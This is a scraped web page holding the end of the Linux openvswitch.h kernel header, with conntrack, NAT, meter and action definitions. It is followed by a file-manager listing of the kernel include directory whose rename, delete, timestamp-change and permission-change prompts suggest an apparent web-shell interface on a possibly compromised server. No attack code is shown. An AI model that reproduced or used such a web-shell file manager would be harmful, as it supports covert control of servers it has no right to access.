ALG. * @OVS_CT_ATTR_NAT: Nested OVS_NAT_ATTR_* for performing L3 network address * translation (NAT) on the packet. * @OVS_CT_ATTR_FORCE_COMMIT: Like %OVS_CT_ATTR_COMMIT, but instead of doing * nothing if the connection is already committed will check that the current * packet is in conntrack entry's original direction. If directionality does * not match, will delete the existing conntrack entry and commit a new one. * @OVS_CT_ATTR_EVENTMASK: Mask of bits indicating which conntrack event types * (enum ip_conntrack_events IPCT_*) should be reported. For any bit set to * zero, the corresponding event type is not generated. Default behavior * depends on system configuration, but typically all event types are * generated, hence listening on NFNLGRP_CONNTRACK_UPDATE events may get a lot * of events. Explicitly passing this attribute allows limiting the updates * received to the events of interest. The bit 1 << IPCT_NEW, 1 << * IPCT_RELATED, and 1 << IPCT_DESTROY must be set to ones for those events to * be received on NFNLGRP_CONNTRACK_NEW and NFNLGRP_CONNTRACK_DESTROY groups, * respectively. Remaining bits control the changes for which an event is * delivered on the NFNLGRP_CONNTRACK_UPDATE group. * @OVS_CT_ATTR_TIMEOUT: Variable length string defining conntrack timeout. */ enum ovs_ct_attr { OVS_CT_ATTR_UNSPEC, OVS_CT_ATTR_COMMIT, /* No argument, commits connection. */ OVS_CT_ATTR_ZONE, /* u16 zone id. */ OVS_CT_ATTR_MARK, /* mark to associate with this connection. */ OVS_CT_ATTR_LABELS, /* labels to associate with this connection. */ OVS_CT_ATTR_HELPER, /* netlink helper to assist detection of related connections. */ OVS_CT_ATTR_NAT, /* Nested OVS_NAT_ATTR_* */ OVS_CT_ATTR_FORCE_COMMIT, /* No argument */ OVS_CT_ATTR_EVENTMASK, /* u32 mask of IPCT_* events. */ OVS_CT_ATTR_TIMEOUT, /* Associate timeout with this connection for * fine-grain timeout tuning. */ __OVS_CT_ATTR_MAX }; #define OVS_CT_ATTR_MAX (__OVS_CT_ATTR_MAX - 1) /** * enum ovs_nat_attr - Attributes for %OVS_CT_ATTR_NAT. * * @OVS_NAT_ATTR_SRC: Flag for Source NAT (mangle source address/port). * @OVS_NAT_ATTR_DST: Flag for Destination NAT (mangle destination * address/port). Only one of (@OVS_NAT_ATTR_SRC, @OVS_NAT_ATTR_DST) may be * specified. Effective only for packets for ct_state NEW connections. * Packets of committed connections are mangled by the NAT action according to * the committed NAT type regardless of the flags specified. As a corollary, a * NAT action without a NAT type flag will only mangle packets of committed * connections. The following NAT attributes only apply for NEW * (non-committed) connections, and they may be included only when the CT * action has the @OVS_CT_ATTR_COMMIT flag and either @OVS_NAT_ATTR_SRC or * @OVS_NAT_ATTR_DST is also included. * @OVS_NAT_ATTR_IP_MIN: struct in_addr or struct in6_addr * @OVS_NAT_ATTR_IP_MAX: struct in_addr or struct in6_addr * @OVS_NAT_ATTR_PROTO_MIN: u16 L4 protocol specific lower boundary (port) * @OVS_NAT_ATTR_PROTO_MAX: u16 L4 protocol specific upper boundary (port) * @OVS_NAT_ATTR_PERSISTENT: Flag for persistent IP mapping across reboots * @OVS_NAT_ATTR_PROTO_HASH: Flag for pseudo random L4 port mapping (MD5) * @OVS_NAT_ATTR_PROTO_RANDOM: Flag for fully randomized L4 port mapping */ enum ovs_nat_attr { OVS_NAT_ATTR_UNSPEC, OVS_NAT_ATTR_SRC, OVS_NAT_ATTR_DST, OVS_NAT_ATTR_IP_MIN, OVS_NAT_ATTR_IP_MAX, OVS_NAT_ATTR_PROTO_MIN, OVS_NAT_ATTR_PROTO_MAX, OVS_NAT_ATTR_PERSISTENT, OVS_NAT_ATTR_PROTO_HASH, OVS_NAT_ATTR_PROTO_RANDOM, __OVS_NAT_ATTR_MAX, }; #define OVS_NAT_ATTR_MAX (__OVS_NAT_ATTR_MAX - 1) /* * struct ovs_action_push_eth - %OVS_ACTION_ATTR_PUSH_ETH action argument. * @addresses: Source and destination MAC addresses. * @eth_type: Ethernet type */ struct ovs_action_push_eth { struct ovs_key_ethernet addresses; }; /* * enum ovs_check_pkt_len_attr - Attributes for %OVS_ACTION_ATTR_CHECK_PKT_LEN. * * @OVS_CHECK_PKT_LEN_ATTR_PKT_LEN: u16 Packet length to check for. * @OVS_CHECK_PKT_LEN_ATTR_ACTIONS_IF_GREATER: Nested OVS_ACTION_ATTR_* * actions to apply if the packer length is greater than the specified * length in the attr - OVS_CHECK_PKT_LEN_ATTR_PKT_LEN. * @OVS_CHECK_PKT_LEN_ATTR_ACTIONS_IF_LESS_EQUAL - Nested OVS_ACTION_ATTR_* * actions to apply if the packer length is lesser or equal to the specified * length in the attr - OVS_CHECK_PKT_LEN_ATTR_PKT_LEN. */ enum ovs_check_pkt_len_attr { OVS_CHECK_PKT_LEN_ATTR_UNSPEC, OVS_CHECK_PKT_LEN_ATTR_PKT_LEN, OVS_CHECK_PKT_LEN_ATTR_ACTIONS_IF_GREATER, OVS_CHECK_PKT_LEN_ATTR_ACTIONS_IF_LESS_EQUAL, __OVS_CHECK_PKT_LEN_ATTR_MAX, }; #define OVS_CHECK_PKT_LEN_ATTR_MAX (__OVS_CHECK_PKT_LEN_ATTR_MAX - 1) /** * enum ovs_action_attr - Action types. * * @OVS_ACTION_ATTR_OUTPUT: Output packet to port. * @OVS_ACTION_ATTR_TRUNC: Output packet to port with truncated packet size. * @OVS_ACTION_ATTR_USERSPACE: Send packet to userspace according to nested * %OVS_USERSPACE_ATTR_* attributes. * @OVS_ACTION_ATTR_SET: Replaces the contents of an existing header. The * single nested %OVS_KEY_ATTR_* attribute specifies a header to modify and its * value. * @OVS_ACTION_ATTR_SET_MASKED: Replaces the contents of an existing header. A * nested %OVS_KEY_ATTR_* attribute specifies a header to modify, its value, * and a mask. For every bit set in the mask, the corresponding bit value * is copied from the value to the packet header field, rest of the bits are * left unchanged. The non-masked value bits must be passed in as zeroes. * Masking is not supported for the %OVS_KEY_ATTR_TUNNEL attribute. * @OVS_ACTION_ATTR_PUSH_VLAN: Push a new outermost 802.1Q or 802.1ad header * onto the packet. * @OVS_ACTION_ATTR_POP_VLAN: Pop the outermost 802.1Q or 802.1ad header * from the packet. * @OVS_ACTION_ATTR_SAMPLE: Probabilitically executes actions, as specified in * the nested %OVS_SAMPLE_ATTR_* attributes. * @OVS_ACTION_ATTR_PUSH_MPLS: Push a new MPLS label stack entry onto the * top of the packets MPLS label stack. Set the ethertype of the * encapsulating frame to either %ETH_P_MPLS_UC or %ETH_P_MPLS_MC to * indicate the new packet contents. * @OVS_ACTION_ATTR_POP_MPLS: Pop an MPLS label stack entry off of the * packet's MPLS label stack. Set the encapsulating frame's ethertype to * indicate the new packet contents. This could potentially still be * %ETH_P_MPLS if the resulting MPLS label stack is not empty. If there * is no MPLS label stack, as determined by ethertype, no action is taken. * @OVS_ACTION_ATTR_CT: Track the connection. Populate the conntrack-related * entries in the flow key. * @OVS_ACTION_ATTR_PUSH_ETH: Push a new outermost Ethernet header onto the * packet. * @OVS_ACTION_ATTR_POP_ETH: Pop the outermost Ethernet header off the * packet. * @OVS_ACTION_ATTR_CT_CLEAR: Clear conntrack state from the packet. * @OVS_ACTION_ATTR_PUSH_NSH: push NSH header to the packet. * @OVS_ACTION_ATTR_POP_NSH: pop the outermost NSH header off the packet. * @OVS_ACTION_ATTR_METER: Run packet through a meter, which may drop the * packet, or modify the packet (e.g., change the DSCP field). * @OVS_ACTION_ATTR_CLONE: make a copy of the packet and execute a list of * actions without affecting the original packet and key. * @OVS_ACTION_ATTR_CHECK_PKT_LEN: Check the packet length and execute a set * of actions if greater than the specified packet length, else execute * another set of actions. * @OVS_ACTION_ATTR_ADD_MPLS: Push a new MPLS label stack entry at the * start of the packet or at the start of the l3 header depending on the value * of l3 tunnel flag in the tun_flags field of OVS_ACTION_ATTR_ADD_MPLS * argument. * * Only a single header can be set with a single %OVS_ACTION_ATTR_SET. Not all * fields within a header are modifiable, e.g. the IPv4 protocol and fragment * type may not be changed. * * @OVS_ACTION_ATTR_SET_TO_MASKED: Kernel internal masked set action translated * from the @OVS_ACTION_ATTR_SET. */ enum ovs_action_attr { OVS_ACTION_ATTR_UNSPEC, OVS_ACTION_ATTR_OUTPUT, /* u32 port number. */ OVS_ACTION_ATTR_USERSPACE, /* Nested OVS_USERSPACE_ATTR_*. */ OVS_ACTION_ATTR_SET, /* One nested OVS_KEY_ATTR_*. */ OVS_ACTION_ATTR_PUSH_VLAN, /* struct ovs_action_push_vlan. */ OVS_ACTION_ATTR_POP_VLAN, /* No argument. */ OVS_ACTION_ATTR_SAMPLE, /* Nested OVS_SAMPLE_ATTR_*. */ OVS_ACTION_ATTR_RECIRC, /* u32 recirc_id. */ OVS_ACTION_ATTR_HASH, /* struct ovs_action_hash. */ OVS_ACTION_ATTR_PUSH_MPLS, /* struct ovs_action_push_mpls. */ OVS_ACTION_ATTR_POP_MPLS, /* __be16 ethertype. */ OVS_ACTION_ATTR_SET_MASKED, /* One nested OVS_KEY_ATTR_* including * data immediately followed by a mask. * The data must be zero for the unmasked * bits. */ OVS_ACTION_ATTR_CT, /* Nested OVS_CT_ATTR_* . */ OVS_ACTION_ATTR_TRUNC, /* u32 struct ovs_action_trunc. */ OVS_ACTION_ATTR_PUSH_ETH, /* struct ovs_action_push_eth. */ OVS_ACTION_ATTR_POP_ETH, /* No argument. */ OVS_ACTION_ATTR_CT_CLEAR, /* No argument. */ OVS_ACTION_ATTR_PUSH_NSH, /* Nested OVS_NSH_KEY_ATTR_*. */ OVS_ACTION_ATTR_POP_NSH, /* No argument. */ OVS_ACTION_ATTR_METER, /* u32 meter ID. */ OVS_ACTION_ATTR_CLONE, /* Nested OVS_CLONE_ATTR_*. */ OVS_ACTION_ATTR_CHECK_PKT_LEN, /* Nested OVS_CHECK_PKT_LEN_ATTR_*. */ OVS_ACTION_ATTR_ADD_MPLS, /* struct ovs_action_add_mpls. */ OVS_ACTION_ATTR_DEC_TTL, /* Nested OVS_DEC_TTL_ATTR_*. */ __OVS_ACTION_ATTR_MAX, /* Nothing past this will be accepted * from userspace. */ }; #define OVS_ACTION_ATTR_MAX (__OVS_ACTION_ATTR_MAX - 1) /* Meters. */ #define OVS_METER_FAMILY "ovs_meter" #define OVS_METER_MCGROUP "ovs_meter" #define OVS_METER_VERSION 0x1 enum ovs_meter_cmd { OVS_METER_CMD_UNSPEC, OVS_METER_CMD_FEATURES, /* Get features supported by the datapath. */ OVS_METER_CMD_SET, /* Add or modify a meter. */ OVS_METER_CMD_DEL, /* Delete a meter. */ OVS_METER_CMD_GET /* Get meter stats. */ }; enum ovs_meter_attr { OVS_METER_ATTR_UNSPEC, OVS_METER_ATTR_ID, /* u32 meter ID within datapath. */ OVS_METER_ATTR_KBPS, /* No argument. If set, units in kilobits * per second. Otherwise, units in * packets per second. */ OVS_METER_ATTR_STATS, /* struct ovs_flow_stats for the meter. */ OVS_METER_ATTR_BANDS, /* Nested attributes for meter bands. */ OVS_METER_ATTR_USED, /* u64 msecs last used in monotonic time. */ OVS_METER_ATTR_CLEAR, /* Flag to clear stats, used. */ OVS_METER_ATTR_MAX_METERS, /* u32 number of meters supported. */ OVS_METER_ATTR_MAX_BANDS, /* u32 max number of bands per meter. */ OVS_METER_ATTR_PAD, __OVS_METER_ATTR_MAX }; #define OVS_METER_ATTR_MAX (__OVS_METER_ATTR_MAX - 1) enum ovs_band_attr { OVS_BAND_ATTR_UNSPEC, OVS_BAND_ATTR_TYPE, /* u32 OVS_METER_BAND_TYPE_* constant. */ OVS_BAND_ATTR_RATE, /* u32 band rate in meter units (see above). */ OVS_BAND_ATTR_BURST, /* u32 burst size in meter units. */ OVS_BAND_ATTR_STATS, /* struct ovs_flow_stats for the band. */ __OVS_BAND_ATTR_MAX }; #define OVS_BAND_ATTR_MAX (__OVS_BAND_ATTR_MAX - 1) enum ovs_meter_band_type { OVS_METER_BAND_TYPE_UNSPEC, OVS_METER_BAND_TYPE_DROP, /* Drop exceeding packets. */ __OVS_METER_BAND_TYPE_MAX }; #define OVS_METER_BAND_TYPE_MAX (__OVS_METER_BAND_TYPE_MAX - 1) /* Conntrack limit */ #define OVS_CT_LIMIT_FAMILY "ovs_ct_limit" #define OVS_CT_LIMIT_MCGROUP "ovs_ct_limit" #define OVS_CT_LIMIT_VERSION 0x1 enum ovs_ct_limit_cmd { OVS_CT_LIMIT_CMD_UNSPEC, OVS_CT_LIMIT_CMD_SET, /* Add or modify ct limit. */ OVS_CT_LIMIT_CMD_DEL, /* Delete ct limit. */ OVS_CT_LIMIT_CMD_GET /* Get ct limit. */ }; enum ovs_ct_limit_attr { OVS_CT_LIMIT_ATTR_UNSPEC, OVS_CT_LIMIT_ATTR_ZONE_LIMIT, /* Nested struct ovs_zone_limit. */ __OVS_CT_LIMIT_ATTR_MAX }; #define OVS_CT_LIMIT_ATTR_MAX (__OVS_CT_LIMIT_ATTR_MAX - 1) #define OVS_ZONE_LIMIT_DEFAULT_ZONE -1 struct ovs_zone_limit { int zone_id; __u32 limit; __u32 count; }; enum ovs_dec_ttl_attr { OVS_DEC_TTL_ATTR_UNSPEC, OVS_DEC_TTL_ATTR_ACTION, /* Nested struct nlattr */ __OVS_DEC_TTL_ATTR_MAX }; #define OVS_DEC_TTL_ATTR_MAX (__OVS_DEC_TTL_ATTR_MAX - 1) #endif /* _LINUX_OPENVSWITCH_H */
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
..
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
android
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
byteorder
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
caif
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
can
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
cifs
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
dvb
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
genwqe
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
hdlc
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
hsi
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
iio
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
isdn
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
mmc
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
netfilter
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
netfilter_arp
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
netfilter_bridge
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
netfilter_ipv4
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
netfilter_ipv6
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
nfsd
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
raid
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
sched
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
spi
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
sunrpc
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
tc_act
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
tc_ematch
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
usb
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
wimax
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
a.out.h
text/x-c
6.73 KB
-rw-r--r--
2025-10-27 03:42:52
acct.h
text/x-c
3.65 KB
-rw-r--r--
2025-10-27 03:42:52
adb.h
text/plain
1.11 KB
-rw-r--r--
2025-10-27 03:42:52
adfs_fs.h
text/x-c
936 B
-rw-r--r--
2025-10-27 03:42:52
affs_hardblocks.h
text/x-c
1.51 KB
-rw-r--r--
2025-10-27 03:42:51
agpgart.h
text/x-c
3.85 KB
-rw-r--r--
2025-10-27 03:42:51
aio_abi.h
text/x-c
3.34 KB
-rw-r--r--
2025-10-27 03:42:52
am437x-vpfe.h
text/x-c
3.59 KB
-rw-r--r--
2025-10-27 03:42:52
apm_bios.h
text/x-c
3.6 KB
-rw-r--r--
2025-10-27 03:42:52
arcfb.h
text/plain
213 B
-rw-r--r--
2025-10-27 03:42:52
arm_sdei.h
text/x-Algol68
2.69 KB
-rw-r--r--
2025-10-27 03:42:52
aspeed-lpc-ctrl.h
text/x-c
1.74 KB
-rw-r--r--
2025-10-27 03:42:51
atalk.h
text/x-c
1023 B
-rw-r--r--
2025-10-27 03:42:51
atm.h
text/x-c
7.7 KB
-rw-r--r--
2025-10-27 03:42:52
atm_eni.h
text/x-c
648 B
-rw-r--r--
2025-10-27 03:42:51
atm_he.h
text/x-c
406 B
-rw-r--r--
2025-10-27 03:42:52
atm_idt77105.h
text/x-c
955 B
-rw-r--r--
2025-10-27 03:42:51
atm_nicstar.h
text/x-c
1.25 KB
-rw-r--r--
2025-10-27 03:42:51
atm_tcp.h
text/x-c
1.58 KB
-rw-r--r--
2025-10-27 03:42:52
atm_zatm.h
text/x-c
1.5 KB
-rw-r--r--
2025-10-27 03:42:51
atmapi.h
text/plain
952 B
-rw-r--r--
2025-10-27 03:42:52
atmarp.h
text/x-c
1.27 KB
-rw-r--r--
2025-10-27 03:42:51
atmbr2684.h
text/x-c
3.19 KB
-rw-r--r--
2025-10-27 03:42:52
atmclip.h
text/x-c
576 B
-rw-r--r--
2025-10-27 03:42:51
atmdev.h
text/x-c
7.5 KB
-rw-r--r--
2025-10-27 03:42:51
atmioc.h
text/x-c
1.61 KB
-rw-r--r--
2025-10-27 03:42:51
atmlec.h
text/x-c
2.33 KB
-rw-r--r--
2025-10-27 03:42:51
atmmpc.h
text/x-c
4.13 KB
-rw-r--r--
2025-10-27 03:42:51
atmppp.h
text/x-c
639 B
-rw-r--r--
2025-10-27 03:42:52
atmsap.h
text/x-c
4.85 KB
-rw-r--r--
2025-10-27 03:42:51
atmsvc.h
text/x-c
1.81 KB
-rw-r--r--
2025-10-27 03:42:51
audit.h
text/x-c
19.92 KB
-rw-r--r--
2025-10-27 03:42:51
auto_dev-ioctl.h
text/x-c
4.87 KB
-rw-r--r--
2025-10-27 03:42:52
auto_fs.h
text/x-c
6.28 KB
-rw-r--r--
2025-10-27 03:42:51
auto_fs4.h
text/x-c
451 B
-rw-r--r--
2025-10-27 03:42:52
auxvec.h
text/x-c
1.56 KB
-rw-r--r--
2025-10-27 03:42:51
ax25.h
text/x-c
2.76 KB
-rw-r--r--
2025-10-27 03:42:52
b1lli.h
text/plain
1.68 KB
-rw-r--r--
2025-10-27 03:42:51
batadv_packet.h
text/x-c
20.01 KB
-rw-r--r--
2025-10-27 03:42:51
batman_adv.h
text/plain
11.7 KB
-rw-r--r--
2025-10-27 03:42:51
baycom.h
text/x-c
883 B
-rw-r--r--
2025-10-27 03:42:52
bcache.h
text/x-c
8.17 KB
-rw-r--r--
2025-10-27 03:42:51
bcm933xx_hcs.h
text/x-c
419 B
-rw-r--r--
2025-10-27 03:42:52
bfs_fs.h
text/x-c
1.85 KB
-rw-r--r--
2025-10-27 03:42:51
binfmts.h
text/x-c
628 B
-rw-r--r--
2025-10-27 03:42:52
blkpg.h
text/x-c
904 B
-rw-r--r--
2025-10-27 03:42:52
blktrace_api.h
text/x-c
4.59 KB
-rw-r--r--
2025-10-27 03:42:51
blkzoned.h
text/x-c
6.45 KB
-rw-r--r--
2025-10-27 03:42:52
bpf.h
text/x-c
223.3 KB
-rw-r--r--
2025-10-27 03:42:52
bpf_common.h
text/plain
1.33 KB
-rw-r--r--
2025-10-27 03:42:52
bpf_perf_event.h
text/x-c
529 B
-rw-r--r--
2025-10-27 03:42:52
bpfilter.h
text/x-c
465 B
-rw-r--r--
2025-10-27 03:42:51
bpqether.h
text/x-c
981 B
-rw-r--r--
2025-10-27 03:42:52
bsg.h
text/x-c
2.44 KB
-rw-r--r--
2025-10-27 03:42:52
bt-bmc.h
text/x-c
572 B
-rw-r--r--
2025-10-27 03:42:52
btf.h
text/x-c
4.68 KB
-rw-r--r--
2025-10-27 03:42:52
btrfs.h
text/x-c
28.24 KB
-rw-r--r--
2025-10-27 03:42:52
btrfs_tree.h
text/x-c
24.69 KB
-rw-r--r--
2025-10-27 03:42:52
can.h
text/x-c
7.7 KB
-rw-r--r--
2025-10-27 03:42:51
capability.h
text/x-c
13.2 KB
-rw-r--r--
2025-10-27 03:42:51
capi.h
text/x-c
3.05 KB
-rw-r--r--
2025-10-27 03:42:52
cciss_defs.h
text/x-c
3.2 KB
-rw-r--r--
2025-10-27 03:42:51
cciss_ioctl.h
text/x-c
2.7 KB
-rw-r--r--
2025-10-27 03:42:52
cdrom.h
text/x-c
28.18 KB
-rw-r--r--
2025-10-27 03:42:52
cec-funcs.h
text/x-c
52.64 KB
-rw-r--r--
2025-10-27 03:42:51
cec.h
text/x-c
36.81 KB
-rw-r--r--
2025-10-27 03:42:52
cfm_bridge.h
text/x-c
1.42 KB
-rw-r--r--
2025-10-27 03:42:52
cgroupstats.h
text/x-c
2.17 KB
-rw-r--r--
2025-10-27 03:42:51
chio.h
text/x-c
5.22 KB
-rw-r--r--
2025-10-27 03:42:51
close_range.h
text/plain
377 B
-rw-r--r--
2025-10-27 03:42:52
cm4000_cs.h
text/x-c
1.76 KB
-rw-r--r--
2025-10-27 03:42:52
cn_proc.h
text/x-c
3.38 KB
-rw-r--r--
2025-10-27 03:42:52
coda.h
text/x-c
17.09 KB
-rw-r--r--
2025-10-27 03:42:51
coda_psdev.h
text/x-c
783 B
-rw-r--r--
2025-10-27 03:42:52
coff.h
text/x-c
12.18 KB
-rw-r--r--
2025-10-27 03:42:51
connector.h
text/x-c
2.2 KB
-rw-r--r--
2025-10-27 03:42:51
const.h
text/plain
788 B
-rw-r--r--
2025-10-27 03:42:51
coresight-stm.h
text/plain
674 B
-rw-r--r--
2025-10-27 03:42:52
cramfs_fs.h
text/x-c
3.47 KB
-rw-r--r--
2025-10-27 03:42:52
cryptouser.h
text/x-c
3.31 KB
-rw-r--r--
2025-10-27 03:42:51
cuda.h
text/plain
905 B
-rw-r--r--
2025-10-27 03:42:52
cyclades.h
text/x-c
16.71 KB
-rw-r--r--
2025-10-27 03:42:51
cycx_cfm.h
text/x-c
2.92 KB
-rw-r--r--
2025-10-27 03:42:51
dcbnl.h
text/x-c
24.65 KB
-rw-r--r--
2025-10-27 03:42:52
dccp.h
text/x-c
6.29 KB
-rw-r--r--
2025-10-27 03:42:51
devlink.h
text/x-c
21.05 KB
-rw-r--r--
2025-10-27 03:42:51
dlm.h
text/x-c
2.49 KB
-rw-r--r--
2025-10-27 03:42:52
dlm_device.h
text/x-c
2.48 KB
-rw-r--r--
2025-10-27 03:42:52
dlm_netlink.h
text/x-c
1.13 KB
-rw-r--r--
2025-10-27 03:42:52
dlm_plock.h
text/x-c
894 B
-rw-r--r--
2025-10-27 03:42:52
dlmconstants.h
text/x-Algol68
4.96 KB
-rw-r--r--
2025-10-27 03:42:52
dm-ioctl.h
text/x-c
11.13 KB
-rw-r--r--
2025-10-27 03:42:52
dm-log-userspace.h
text/x-c
14.83 KB
-rw-r--r--
2025-10-27 03:42:51
dma-buf.h
text/x-c
5.12 KB
-rw-r--r--
2025-10-27 03:42:52
dn.h
text/x-c
4.53 KB
-rw-r--r--
2025-10-27 03:42:52
dqblk_xfs.h
text/x-c
9.03 KB
-rw-r--r--
2025-10-27 03:42:51
edd.h
text/x-c
5.47 KB
-rw-r--r--
2025-10-27 03:42:52
efs_fs_sb.h
text/x-c
2.17 KB
-rw-r--r--
2025-10-27 03:42:52
elf-em.h
text/plain
2.14 KB
-rw-r--r--
2025-10-27 03:42:52
elf-fdpic.h
text/x-c
1.1 KB
-rw-r--r--
2025-10-27 03:42:52
elf.h
text/x-c
13.16 KB
-rw-r--r--
2025-10-27 03:42:51
elfcore.h
text/x-c
2.92 KB
-rw-r--r--
2025-10-27 03:42:51
errno.h
text/x-c
23 B
-rw-r--r--
2025-10-27 03:42:51
errqueue.h
text/x-c
1.44 KB
-rw-r--r--
2025-10-27 03:42:51
erspan.h
text/x-c
1.03 KB
-rw-r--r--
2025-10-27 03:42:52
ethtool.h
text/x-c
81.89 KB
-rw-r--r--
2025-10-27 03:42:52
ethtool_netlink.h
text/x-c
22.29 KB
-rw-r--r--
2025-10-27 03:42:52
eventpoll.h
text/x-c
2.67 KB
-rw-r--r--
2025-10-27 03:42:52
fadvise.h
text/plain
842 B
-rw-r--r--
2025-10-27 03:42:51
falloc.h
text/plain
3.5 KB
-rw-r--r--
2025-10-27 03:42:52
fanotify.h
text/x-c
5.22 KB
-rw-r--r--
2025-10-27 03:42:51
fb.h
text/x-c
16.09 KB
-rw-r--r--
2025-10-27 03:42:51
fcntl.h
text/x-c
4.08 KB
-rw-r--r--
2025-10-27 03:42:52
fd.h
text/x-c
11.4 KB
-rw-r--r--
2025-10-27 03:42:51
fdreg.h
text/plain
5.29 KB
-rw-r--r--
2025-10-27 03:42:51
fib_rules.h
text/x-c
1.99 KB
-rw-r--r--
2025-10-27 03:42:51
fiemap.h
text/x-c
2.71 KB
-rw-r--r--
2025-10-27 03:42:51
filter.h
text/x-c
2.16 KB
-rw-r--r--
2025-10-27 03:42:52
firewire-cdev.h
text/x-c
42.86 KB
-rw-r--r--
2025-10-27 03:42:51
firewire-constants.h
text/plain
3.16 KB
-rw-r--r--
2025-10-27 03:42:52
flat.h
text/x-c
2.1 KB
-rw-r--r--
2025-10-27 03:42:51
fou.h
text/plain
694 B
-rw-r--r--
2025-10-27 03:42:52
fpga-dfl.h
text/x-c
8.52 KB
-rw-r--r--
2025-10-27 03:42:51
fs.h
text/x-c
13.11 KB
-rw-r--r--
2025-10-27 03:42:52
fsl_hypervisor.h
text/x-c
7.13 KB
-rw-r--r--
2025-10-27 03:42:52
fsmap.h
text/x-c
4.29 KB
-rw-r--r--
2025-10-27 03:42:52
fuse.h
text/x-c
22.92 KB
-rw-r--r--
2025-10-27 03:42:51
futex.h
text/x-c
4.88 KB
-rw-r--r--
2025-10-27 03:42:51
gameport.h
text/plain
897 B
-rw-r--r--
2025-10-27 03:42:52
gen_stats.h
text/x-c
1.49 KB
-rw-r--r--
2025-10-27 03:42:52
genetlink.h
text/x-c
2.12 KB
-rw-r--r--
2025-10-27 03:42:52
gfs2_ondisk.h
text/x-c
14.4 KB
-rw-r--r--
2025-10-27 03:42:51
gigaset_dev.h
text/x-c
1.41 KB
-rw-r--r--
2025-10-27 03:42:51
gpio.h
text/x-c
6.59 KB
-rw-r--r--
2025-10-27 03:42:52
gsmmux.h
text/x-c
1.02 KB
-rw-r--r--
2025-10-27 03:42:51
gtp.h
text/plain
681 B
-rw-r--r--
2025-10-27 03:42:51
hash_info.h
text/plain
921 B
-rw-r--r--
2025-10-27 03:42:52
hdlc.h
text/plain
637 B
-rw-r--r--
2025-10-27 03:42:51
hdlcdrv.h
text/x-Algol68
2.84 KB
-rw-r--r--
2025-10-27 03:42:51
hdreg.h
text/x-c
22.17 KB
-rw-r--r--
2025-10-27 03:42:51
hid.h
text/plain
1.86 KB
-rw-r--r--
2025-10-27 03:42:52
hiddev.h
text/x-c
6.2 KB
-rw-r--r--
2025-10-27 03:42:52
hidraw.h
text/x-c
1.95 KB
-rw-r--r--
2025-10-27 03:42:51
hpet.h
text/x-c
743 B
-rw-r--r--
2025-10-27 03:42:51
hsr_netlink.h
text/plain
1.06 KB
-rw-r--r--
2025-10-27 03:42:52
hw_breakpoint.h
text/plain
742 B
-rw-r--r--
2025-10-27 03:42:52
hyperv.h
text/x-c
10.89 KB
-rw-r--r--
2025-10-27 03:42:52
hysdn_if.h
text/plain
1.35 KB
-rw-r--r--
2025-10-27 03:42:52
i2c-dev.h
text/x-c
2.55 KB
-rw-r--r--
2025-10-27 03:42:52
i2c.h
text/x-c
6.96 KB
-rw-r--r--
2025-10-27 03:42:52
i2o-dev.h
text/x-c
11.28 KB
-rw-r--r--
2025-10-27 03:42:51
i8k.h
text/plain
1.49 KB
-rw-r--r--
2025-10-27 03:42:52
icmp.h
text/x-c
2.91 KB
-rw-r--r--
2025-10-27 03:42:52
icmpv6.h
text/x-c
3.94 KB
-rw-r--r--
2025-10-27 03:42:52
idxd.h
text/x-c
8.22 KB
-rw-r--r--
2025-10-27 03:42:51
if.h
text/x-c
10.65 KB
-rw-r--r--
2025-10-27 03:42:51
if_addr.h
text/x-c
1.84 KB
-rw-r--r--
2025-10-27 03:42:51
if_addrlabel.h
text/x-c
721 B
-rw-r--r--
2025-10-27 03:42:51
if_alg.h
text/x-c
946 B
-rw-r--r--
2025-10-27 03:42:51
if_arcnet.h
text/x-c
3.63 KB
-rw-r--r--
2025-10-27 03:42:52
if_arp.h
text/x-c
6.42 KB
-rw-r--r--
2025-10-27 03:42:51
if_bonding.h
text/x-c
5.17 KB
-rw-r--r--
2025-10-27 03:42:51
if_bridge.h
text/x-c
19.06 KB
-rw-r--r--
2025-10-27 03:42:52
if_cablemodem.h
text/plain
986 B
-rw-r--r--
2025-10-27 03:42:52
if_eql.h
text/plain
1.32 KB
-rw-r--r--
2025-10-27 03:42:51
if_ether.h
text/x-c
8.05 KB
-rw-r--r--
2025-10-27 03:42:51
if_fc.h
text/x-c
1.7 KB
-rw-r--r--
2025-10-27 03:42:51
if_fddi.h
text/x-c
3.66 KB
-rw-r--r--
2025-10-27 03:42:52
if_frad.h
text/x-c
2.95 KB
-rw-r--r--
2025-10-27 03:42:51
if_hippi.h
text/x-c
4.14 KB
-rw-r--r--
2025-10-27 03:42:51
if_infiniband.h
text/plain
1.22 KB
-rw-r--r--
2025-10-27 03:42:51
if_link.h
text/x-c
30.28 KB
-rw-r--r--
2025-10-27 03:42:52
if_ltalk.h
text/plain
210 B
-rw-r--r--
2025-10-27 03:42:52
if_macsec.h
text/x-c
5.7 KB
-rw-r--r--
2025-10-27 03:42:51
if_packet.h
text/x-c
7.73 KB
-rw-r--r--
2025-10-27 03:42:51
if_phonet.h
text/plain
424 B
-rw-r--r--
